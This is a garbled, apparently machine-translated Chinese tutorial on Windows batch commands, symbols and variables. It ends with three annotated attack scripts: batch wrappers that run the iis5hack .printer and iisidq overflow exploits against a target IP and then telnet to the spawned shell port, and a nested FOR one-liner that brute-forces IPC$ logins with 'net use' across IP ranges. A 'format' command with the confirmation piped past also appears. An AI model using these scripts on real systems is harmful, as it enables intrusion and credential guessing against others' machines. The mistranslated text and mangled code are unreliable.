1、REM
REM是壹個註釋命令，通常用於註釋程序。執行程序時，該命令之後的內容將不會顯示和執行。示例:
雷姆，妳現在看到的是評論，這句話不會被執行。未來示例中解釋的所有內容都將放在REM之後。請註意。
2、回聲
echo是壹個ECHO命令。主要參數是關和開。通常，回顯消息用於顯示特定的消息。示例:
回聲
上面的Rem表示關閉echo，即不顯示執行的命令。
艾可，這是新聞。
上面的Rem表示“這是郵件”列的顯示。
實施結果:
c:\ & gt；回聲。裝甲兵基礎訓練(Basic Armor Training)?教學法學士(Bachelor of Arts in Teaching)?B.A.T.Industries PLC(在英國的世界最大的香煙公司)
這是新聞。
3、轉到
GOTO的意思是跳躍。在批處理中，允許使用“:XXX”構建壹個標簽，然後使用GOTO: label直接執行帶標簽的命令。例子
:標簽
蕾姆身上有個標簽。
目錄C:\
目錄D:\
轉到標簽
REM在程序跳轉標簽上方繼續執行。
4、呼叫
CALL命令可以在批處理執行期間調用另壹個批處理，然後在另壹個批處理執行後繼續執行原批處理。示例:
第二批。2的內容。最佳可得技術如下:
回聲，這是2的內容。
批次1的內容。最佳可得技術如下:
回聲，這是1的內容
呼叫2。裝甲兵基礎訓練(Basic Armor Training)?教學法學士(Bachelor of Arts in Teaching)?B.A.T.Industries PLC(在英國的世界最大的香煙公司)
ECHO 1和2的內容全部顯示。
實施結果如下:
c:\ & gt；1.裝甲兵基礎訓練(Basic Armor Training)?教學法學士(Bachelor of Arts in Teaching)?B.A.T.Industries PLC(在英國的世界最大的香煙公司)
這是1的內容。
這是2的內容。
1和2的內容全部顯示。
暫停
暫停停止系統命令的執行並顯示以下內容。示例:
c:\ & gt；中止
請按任意鍵繼續...
6、如果
IF條件判斷語句的語法格式如下:
IF【NOT】錯誤級別編號命令
IF【NOT】string 6 5438+0 = = string 2命令
如果【不存在】文件名命令
描述:
【NOT】取返回結果的逆數值，意思是“如果沒有”。
ERRORLEVEL是命令執行後返回的退出值。
# exit值的數值範圍從0到255。判斷時間值的順序應該是從大到小。當返回值大於或等於指定值時，該條件成立。
string 6 5438+0 = = String2 string 6 5438+0和string 2是字符的數據，英文字符的大小寫會被視為不同。在這個條件下，必須有兩個等號（絕對相等），下面的命令將在條件想要等待之後執行。
存在文件名意味著文件或目錄存在。
IF ERRORLEVEL語句必須放在命令之後。IF ERRORLEVEL判斷命令執行後的返回值。
示例:
1、IF【NOT】錯誤級別編號命令
檢測命令執行後的返回值並做出判斷。
回聲
方向:
如果退出代碼是1（不成功），Rem將跳轉到標題1。
如果錯誤級別1轉到1
如果退出代碼為0（成功），Rem跳轉到標題0執行。
如果錯誤級別為0，轉到0
:0
echo命令已成功執行！
Rem程序執行後，跳轉到標題exit退出。
轉到退出
:1
echo命令執行失敗！
Rem程序執行後，跳轉到標題exit退出。
轉到退出
:退出
雷姆，這是程序的出口。
2、IF string1==string2命令
檢測當前變量的值以做出判斷。
回聲
如果%1==2轉到否
回聲變量相等！
轉到退出
:沒有
回聲變量不相等。
轉到退出
:退出
妳可以看到C:\ & gt；測試號
3、如果【不】存在文件名命令
找到壹個具體的文件並做出判斷。
回聲
如果不存在autoexec.bat轉到1
回顯文件成功存在！
轉到退出
:1
回顯文件不存在。失敗了！
轉到退出
:退出
您可以將此批處理放在c盤和D盤上以查看效果。
7、為了
的這個命令比較特殊，它是壹個循環執行命令的命令。同時，FOR也可以應用在FOR的循環中。在這篇文章中，我們介紹了基本用法，不做應用的循環，然後我們將在後面解釋應用的循環。在批處理中，的命令如下:
對於【% % c】IN（set）DO【命令】【參數】
在命令行上，命令如下:
對【% c】IN（set）執行【命令】【參數】
通用參數:
/L該集合表示從開始到結束遞增的數字序列。因此，（1，1，5）將生成序列1 2 3 4 5，（5，1，1）將生成序列（5 4 3 2 1）。
/D如果集包含通配符，則指定它匹配目錄名，但不匹配文件名。
/F從指定文件中讀取數據作為變量。
eol = c-表示壹行註釋字符的結束（只有壹個）
skip = n-表示文件開頭忽略的行數。
delims = XXX-表示分隔符集。該默認分隔符集取代了空格和制表符。
Tokens=x，y，m-n-表示每壹行的哪個符號被傳遞給每次叠代的自身。這將導致分配額外的變量名。M-n格式是壹個範圍。Mth由第n個符號指定。如果符號字符串中的最後壹個字符是星號，那麽將分配額外的變量並在解析最後壹個符號後接受該行的保留文本。
usebackq-指定新語法已在以下情況下使用:使用帶反引號和單引號字符的字符串作為文本字符串執行命令，並允許文件名在filenameset中用雙引號擴展。
讓我們看壹個例子:
FOR/F“eol =；tokens=2，3* delims=，“% I in（my file . txt）do @ echo % I % j % k
將分析myfile.txt中的每壹行，忽略那些以分號開頭的行，並將每行中的第二個和第三個符號傳遞給for程序體；用逗號和/或空格分隔的符號。請註意，此for程序體中的語句引用%i獲取第二個符號，%j獲取第三個符號，而%k獲取第三個符號之後的所有剩余符號。對於帶空格的文件名，您需要用雙引號將文件名括起來。為了以這種方式使用雙引號，您還需要使用usebackq選項，否則，雙引號將被理解為定義要分析的字符串。
for語句中專門描述了%i，而tokens=選項專門描述了%j和%k。只要不試圖描述比字母“z”或“z”更高的變量，您最多可以指定26個符號，每個符號=壹行。記住，變量名是區分大小寫和通用的；此外，同時使用的不超過52臺。
還可以對相鄰字符串使用FOR /F解析邏輯；方法是用單引號將filenameset括在括號中。這樣，字符串將被視為文件中的單個輸入行。最後，您可以使用FOR /F命令來分析該命令的輸出。為此，請將括號中的filenameset轉換為封閉字符串。該字符串將作為命令行傳遞給CMD.EXE，其輸出將被捕獲到內存中並作為文件進行分析。因此，下面的例子:
FOR/F“usebackq delims = =“% I IN（` set `）DO @ echo % I
枚舉當前環境中環境變量的名稱。
下面是壹個簡單的示例，它將說明參數/L和無參數之間的區別:
刪除文件1 . txt 2 . txt 3 . txt 4 . txt 5 . txt。
示例:
回聲
對於/L % % F IN（1，1，5）DO DEL % % F . TXT
或者
對於% % F IN（1，2，3，4，5）DO DEL % % F . TXT
以上兩個命令的結果如下:
c:\ & gt；德爾1。文本文件（textfile）
c:\ & gt；DEL 2。文本文件（textfile）
c:\ & gt；DEL 3。文本文件（textfile）
c:\ & gt；DEL 4。文本文件（textfile）
c:\ & gt；DEL 5。文本文件（textfile）
8、設置本地
在批處理文件中開始環境更改的本地化。執行SETLOCAL後。
所做的環境更改僅限於批處理文件。要恢復原始設置，您必須執行。
線路結束本地。到達批處理文件末尾時，對於每個批處理文件
尚未執行的SETLOCAL命令將具有隱含的ENDLOCAL。
執行。示例:
@回聲關閉
SET PATH /*查看環境變量PATH。
中止
SETLOCAL
SET PATH=E:\TOOLS /*重置環境變量PATH。
設置路徑
中止
結束本地
設置路徑
從上面的示例中，我們可以看到環境變量PATH在第1次顯示時是系統默認路徑。當它設置為E:\TOOLS時，它顯示為E:\TOOLS，但當它結束時，我們可以看到它恢復到系統的默認路徑。但是此設置僅在批處理運行時有效。批處理操作完成後，將恢復環境變量路徑。
9、換檔
SHIFT命令可以使命令上的命令使用10個以上的可替換參數（%0~%9）。
回聲
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
變化
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
變化
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
實施結果如下:
c::\ & gt；換擋。蝙蝠1 2 3 4 5 6 7 8 9 10 11
1 2 3 4 5 6 7 8 9
2 3 4 5 6 7 8 9 10
3 4 5 6 7 8 9 10 11
以上是基於WIN2000的9個批處理命令。
第二部分:特殊符號和批處理。
有些符號不允許在命令行中使用，但有些符號有特殊含義。
1，符號（@）
@ in批處理意味著關閉當前行的回顯。從上面我們知道回聲關閉命令可以關閉整批的回聲，但是我們不能不顯示回聲關閉命令。現在我們在這個命令前面加上@，這樣echo off命令就被@關閉了，這樣就滿足了所有命令都不回顯的要求。
2.符號（》）
& gt意思是通過和掩護。他的作用是將運行後的echo結果傳遞給後面的作用域（但它後面的文件也可以是默認的系統控制臺）。示例:
文件1.txt的文件內容是:
1+1
使用命令c:\ & gt；dir *。txt & gt1.txt
此時1.txt的內容如下
驅動器c中的卷沒有標簽。
該卷的序列號為301A-1508。
C:\目錄
2003-03-65438文本文件（textfile）
log.txt
1.txt
aierrorlog.txt
30 571 202.108 . txt
5個文件18630070字節
0個目錄1，191，542，784字節可用
& gt將執行命令的結？餵雪橇咳嗽？嫉妒奈木？哎？
程序在傳遞到控制臺時不會有任何回顯（註意:這裏的回顯和回顯關閉不是同壹個概念。Echo off關閉輸入命令的回顯，這裏的回顯是指程序執行過程中或執行後的回顯。
c:\ & gt；dir *。txt & gt空
程序將沒有顯示和痕跡。
3.符號（》》；)
symbol》》；》:的功能和符號相似，但它們的區別在於》》；是，並追加》；& gt您還可以將回顯傳遞到控制臺（如上所示）示例:
在文件1.txt中，兩者都是:
1+1
使用命令c:\ & gt；dir *。txt & gt& gt1.txt
此時1.txt的內容如下
1+1
驅動器c中的卷沒有標簽。
該卷的序列號為301A-1508。
C:\目錄
2003-03-65438文本文件（textfile）
log.txt
1.txt
aierrorlog.txt
30 571 202.108 . txt
5個文件18630070字節
0個目錄1，191，542，784字節可用
& gt& gt命令執行的結果被附加到原始文件內容中。
4.符號（|）
|是管道傳輸命令，這意味著將前壹個命令的結果傳遞給下壹個命令進行處理。示例:
c:\ & gt；目錄c:\ |查找“1508“
該卷的序列號為301A-1508。
上面的命令意味著查找整個c:\並找到1508字符串。關於Find的用法，請使用Find/妳自己檢查壹下
當我不使用“格式化”的“自動格式化”參數時，我就是這樣自動格式化光盤的。
echo y|fornat a: /s /q /v:system
使用過format命令的人都知道，format有壹個交互式的對仗過程，需要用戶輸入y來確定是否執行當前命令。在此命令前添加echo y，並將echo執行的結果y傳遞給format with pipeline transport character |以達到手動輸入y的目的（此命令有害，測試時請小心）。
5.符號（）
是特殊符號》；、和& lt、和。的主角。在命令中，他去除了上述三個符號的特殊動能，只將其視為符號，而沒有使用其特殊含義。示例:
c:\ & gt；回聲測試^>；1.txt
測試& gt1.txt
從上面可以看出，test並沒有寫入文件1.txt，而是在顯示字符串時寫入test》:1 . txt。遠程構建批處理時，此符號非常有效。
6.符號（&；)
& amp符號允許在壹行中使用兩個以上不同的命令。當第壹個命令失敗時，不會影響第二個命令的執行。示例:
c:\ & gt；目錄z:\ & amp；目錄y:\ & amp；目錄c:\
以上命令將連續顯示z: y: c:的內容，而不管驅動器號是否存在。
7.符號（&；& amp)
& amp& ampSymbol還允許在壹行中使用兩個或更多不同的命令，在第壹個命令執行失敗後，後續的命令將不會執行。示例:
c:\ & gt；目錄z:\ & amp；& amp目錄y:\ & amp；& amp目錄c:\
上面的命令將提示檢查是否有Z:如果有磁盤，它將被執行，如果沒有，所有後續命令都將停止。
8.符號（““）
““符號允許字符串中包含空格。要輸入特殊目錄，您可以使用以下方法:
c:\ & gt；cd“程序文件”
c:\ & gt；cd progra~1
c:\ & gt；cd pro*
以上所有方法都可以進入程序文件目錄。
9.符號（，）
該符號相當於壹個空格。在某些特殊情況下，您可以使用代替空格。示例:
c:\ & gt；目錄，c:\
10，符號（；)
；當命令相同時，符號可用於不同的目標；隔離，但實現效果不變。如果在執行過程中出現錯誤，將只返回壹個錯誤報告，但程序將繼續執行。示例:
目錄C:\；d:\；E:\F:\
上述命令相當於
目錄C:\
目錄D:\
目錄E:\
目錄F:\
當然，還有壹些特殊的符號，但它們的使用範圍很小，所以我在這裏不壹壹解釋。
第三部分:批處理和變量
批處理中適當的引用變量將使您的程序得到更廣泛的應用。批處理壹次可以處理從% 0到% 9的10個變量。其中%0默認為批處理的文件名。使用SHIFT命令後，%0只能替換為%1。Shift您在%1之前添加壹個額外的%0，結果如下:
c::\ & gt；換擋。蝙蝠1 2 3 4 5 6 7 8 9 10 11
換擋。蝙蝠1 2 3 4 5 6 7 8 9
1 2 3 4 5 6 7 8 9 10
2 3 4 5 6 7 8 9 10 11
系統如何區分每個變量？區分變量的規則是字符串中間的空格，即只要找到空格，空格前的字符視為壹個變量，空格後的字符視為另壹個變量。如果變量是壹個包含空格的長目錄名，則需要用上壹節中特殊符號8中使用的引號括起來。示例:
批量內容為:
ECHO %1
回顯%2
回顯%3
輸入命令:
c:\ & gt；測試“程序文件”程序文件
程序文件
程序
文件
在復雜的批處理過程中，可能會同時使用超過10個變量，這將與系統的規則相沖突。那麽如何解決這個問題呢？系統中還有壹個變量叫做環境變量（可以使用SET命令查看當前系統的環境變量），比如當前系統目錄是%windir%或%SystemRoot%。當同時使用超過10個參數時，我們可以保存壹些變量作為環境變量在後面的程序中調用。具體用法是SET A=%1，所以我們給壹個新的環境變量命名為A .在調用變量A時，我們應該像這樣叫它%A%，並且該環境變量不受SHIFT命令的影響。如果您想更改環境變量，您需要重置它。當然，您也可以在變量之間傳遞以實現目標。讓我們看壹個例子。批處理過程如下:
回聲
設置通過=%1
變化
設置密碼1=%1
變化
ECHO % PASS % % PASS 1% % 1% 2% 3% 4% 5% 6% 7% 8% 9
變化
ECHO %PASS% %PASS1% %9
集合通過=%PASS1%變量通過
設置密碼1=%9
變化
ECHO %PASS% %PASS1% %9
使用命令:C:\ & gt；測試A B 3 4 5 6 7 8 9 10 K L
A B 3 4 5 6 7 8 9 10 K註意:此行顯示11個變量。
使用SHIFT三次後，%9變成了L。
傳遞B L變量後的結果。
第四部分:完整案例。
這些是批處理的壹些用法。現在讓我們結合這些用法，對互聯網上發布的壹些批處理進行詳細分析，看看它們的工作原理。這裏我舉三個例子進行詳細分析。為了保持程序的完整性，我的評論將添加在/*之後。
示例1
此示例是壹個使用iis5hack.exe使具有。printer漏洞的主機溢出的批處理過程。使用的程序包括系統自帶的iis5hack.exe和telnet.exe。iis5hack的命令格式是:
iis5hack & lt目標ip & gt& lt目標端口》目標版本》溢出連接端口》目標版本為0-9，這10個數字分別對應不同的語言版本和sp系統版本。我們批處理中使用的命令格式是起始版本號是可選的。過程如下。
@echo off /*關閉命令回顯
如果“%1%“=““gotohelp/*判斷%1是否為空，並且% 1是目標ip。
如果“%2%“=“1“goto 1/*判斷% 2是否為1，如果是1，則跳轉標誌為1。
如果“% 2%“= =“2“goto 2/* % 2是起始版本號，如果未設置，則
If“% 2%“=“3“got O3/*如果存在，將從匹配的位置執行。
如果“% 2%“= =“4“轉到4
如果“% 2%“= =“5“轉到5
如果“% 2%”= =“6”轉到6
如果“% 2%“= =“7“轉到7
如果“% 2%“= =“8“轉到8
如果不存在，iis5hack.exe goto file/*執行標誌文件段的內容而不查找iis5hack.exe。
Ping % 1-n 1 | find“Received = 1“/* Ping目標1次，從結果中發現Received = 1。
如果errorlevel 1轉到error /*如果返回代碼為1，將執行錯誤段（代碼1表示沒有找到0並成功執行）。
IIS 5 hack % 1 809 88 | Find“good“/*開始溢出目標端口80。系統代碼9溢出後，連接端口88在執行結果中找到字符串“good”（字符串“good”只有在溢出成功後才會出現）。
如果不是錯誤級別1 gotottelnet/*如果沒有錯誤代碼1（溢出成功），則執行telnet段的內容。
Echo操作系統9型失敗！/否則，顯示這句話。
:8 /*有關以下代碼內容，請參考上文。
iis5hack %1 80 8 88 |找到“好”
如果不是錯誤級別1轉到telnet
Echo操作系統類型8失敗！
:7
iis5hack %1 80 7 88 |找到“好”
如果不是錯誤級別1轉到telnet
Echo操作系統類型7失敗！
:6
iis5hack %1 80 6 88 |找到“好”
如果不是錯誤級別1轉到telnet
Echo操作系統類型6失敗！
:5
iis5hack %1 80 5 88 |找到“好”
如果不是錯誤級別1轉到telnet
Echo操作系統類型5失敗！
:4
iis5hack %1 80 4 88 |找到“好”
如果不是錯誤級別1轉到telnet
Echo操作系統類型4失敗！
:3
iis5hack %1 80 3 88 |找到“好”
如果不是錯誤級別1轉到telnet
Echo操作系統類型3失敗！
:2
iis5hack %1 80 2 88 |找到“好”
如果不是錯誤級別1轉到telnet
Echo操作系統類型2失敗！
:1
iis5hack %1 80 1 88 |找到“好”
如果不是錯誤級別1轉到telnet
Echo操作系統類型1失敗！
:0
iis5hack %1 80 0 88 |找到“好”
如果不是錯誤級別1轉到telnet
Echo操作系統類型0失敗！
轉到錯誤
:telnet
Telnet %1 88 /*開始連接到目標ip的端口88。
Goto exit /*連接中斷後跳轉到exit段。
:error/*錯誤部分顯示錯誤後的幫助信息。
Echo可能無法連接到網絡或對方來修復漏洞！請按照以下格式手動嘗試！
Echo iis5hack【目標IP】【WEB端口】【系統類型】【開放端口】
回應中文:0
ECHO中文+sp1: 1
回聲英語:2
ECHO英語+sp1: 3
回聲日語:4
ECHO日語+sp1: 5
回聲韓語:6
ECHO韓語+sp1: 7
墨西哥回聲報:8
墨西哥回聲+sp1: 9
Goto exit /*跳轉到退出段。
:文件/*文件段顯示文件未找到的信息。
Iis5hack.exe沒有找到回聲文件！程序停止運行！
Goto exit /*跳轉到退出段。
:help /*help部分顯示該批處理的格式幫助。
Echo這個程序的用法如下:
回顯iis【目標ip】
Echo iis【目標ip】【起始編號9-0】
:exit/*出口段是程序出口。
這壹批基本沒有周期，只是壹路下行。所以代碼又長又不難！
示例2
此示例是壹個批處理進程，它使用iisidq.exe來溢出具有idq漏洞的機器。使用的程序是系統自帶的iisidq.exe和telnet.exe程序。iisidq.exe的用法如下:
操作參數:操作系統類型目的地址web端口1溢出監聽端口；
其中，如果輸入命令參數未輸入，則默認值為“cmd.exe”。
操作系統類型的代碼範圍為0-14。我們批處理中使用的命令格式是
@echo off /*相同示例1
如果不存在iisidq.exe goto file/*與示例1相同。
If %1 ==““轉到錯誤/*與示例1相同。
ping % 1-n 1 | find“received = 1“/*與示例1相同。
如果錯誤級別1變為錯誤1/*與示例1相同。
Set b=%1 /*創建壹個環境變量B並將變量%1的內容傳遞給環境變量B .變量B的內容將是將來的目標ip。
Set a=0 /*創建環境變量A並將環境變量A指定為0。因為使用了整個批處理周期，所以使用a作為計數器。
:無/*無段的開始
If %a%==0 set d=0 /*如果環境變量a=0，則創建環境變量d並設置環境變量d=0。
If %a%==1 set d=1 /*環境變量d實際上是壹個操作系統類型代碼，由計數器控制。
如果%a%==2設置d=2 /*改變。
如果%a%==3設置d=3
如果%a%==4，則設置d=4
如果%a%==5，則設置d=5
如果%a%==6，則設置d=6
如果%a%==7設置d=7
如果%a%==9設置d=9
如果%a%==10設置d=13
if % a % = = 11 set d = 14
Goto 0 /*變量被轉移到標記0以在完成後運行。
:1
Echo正在執行項目%d%！無法與目標%b%連接！正在嘗試連接，請稍候。......
:0 /*標記0的開始
iisidq % d % % b % 80 1 99 | find“good“/*以格式發送溢出命令，並在結果中查找字符串good（只有代碼發送成功後才能找到字符串good）。
如果錯誤級別為1 goto1/*如果沒有好的字符串，則不會將其作為壹跳發送。
/*轉到1繼續嘗試發送。
ping 127.0.0.1 -n 8》Nul /*ping自己8次相當於延遲顯示8秒。
/*行結果
Echo正在執行項目%d%！/*報告溢出的操作系統類型。
Telnet %b% 99 /*連接溢出端口
回聲。/*顯示壹個空行。
If % d % = = 14 gotoerror1/*如果操作系統類型為14，則跳轉到error 1（循環退出）。
如果% d % = = 13 set a = 11/*開始用計數器重新附加操作系統代碼。
if %d%==9 set a=10
如果%d%==7，則設置a=9
如果%d%==6，則設置a=7
如果%d%==5，則設置a=6
如果%d%==4，則設置a=5
如果%d%==3，則設置a=4
如果%d%==2，則設置a=3
如果%d%==1設置a=2
如果%d%==0設置a=1
Goto no /*附加值完成跳轉no段的執行。
:file /*以下是錯誤後的幫助提示。
艾可，IIsidq.exe沒有發現！把這個文件和這個文件放在同壹個目錄下！
轉到退出
:錯誤
回聲錯誤！目標ip無法識別！請使用以下格式進行連接！
Echo idq【目標IP】
轉到退出
:錯誤1
回顯連接失敗！也許目標機器已經修復了漏洞或網絡故障！
Echo，請按照以下格式手動嘗試！
Echo iisidq【目標類型】【目標IP】【目標端口】【連接方法】【溢出端口】
Echo telnet【目標ip】【溢出端口】
:exit /*整個程序的退出
掌握該批次使用的整個循環，並通過掌握計數器部分來掌握該批次。
示例3
for/l % % a in（0，1，255）do for/l % % b in（0，1，255）do for/l % % c in（1，1，254）do for/f“tokens = 1，2 *“% % e in（user pass . txt）do net use \ \ % 1。%%a.%%b.%%c\ipc$ %%e /u:%%f
以上命令是1個命令。如您所見，該命令使用了四個。用法:C:\ & gt；測試。BAT 218輸入218後，此命令將從的1中取初始值0作為%%a，然後第二個繼續取初始值0作為%%b，第三個繼續取初始值1作為%%c。最後壹個for將使用userpass.txt中的第壹個字符作為第二個字符的密碼%%e。
凈usr \ \ 218 . 0 . 0 . 1 \ IPC $ 123/u:ABC
當然，有些朋友可能會說，上面的例子太簡單了，太死板和不靈活了。我對這個例子做了壹些修改（完整文件見ipc.bat），感興趣的朋友可以自己看看。修改後的程序可以靈活地找到從您指定的開始到結束或從開始到您指定的最大ip的範圍。當然，功能還是可以加強的。至於能加強多少，能不能成為新工具，那是妳的事。
這個循環動作有點大，主要是因為ip的數字化替換比較麻煩，所以沒有辦法。我不會對這壹批寫任何評論。請參考以上內容，您將很快了解本批次。懂了就別說簡單！至少這是壹個批處理過程，可以在不使用任何第三方工具的情況下檢測並保存弱密碼！！簡單地改變它仍然具有很大的破壞性。所有這些批次都通過了win2000和xp下的測試。最大的優點是只有壹個批處理文件，不會出現誤報。缺點是太長了！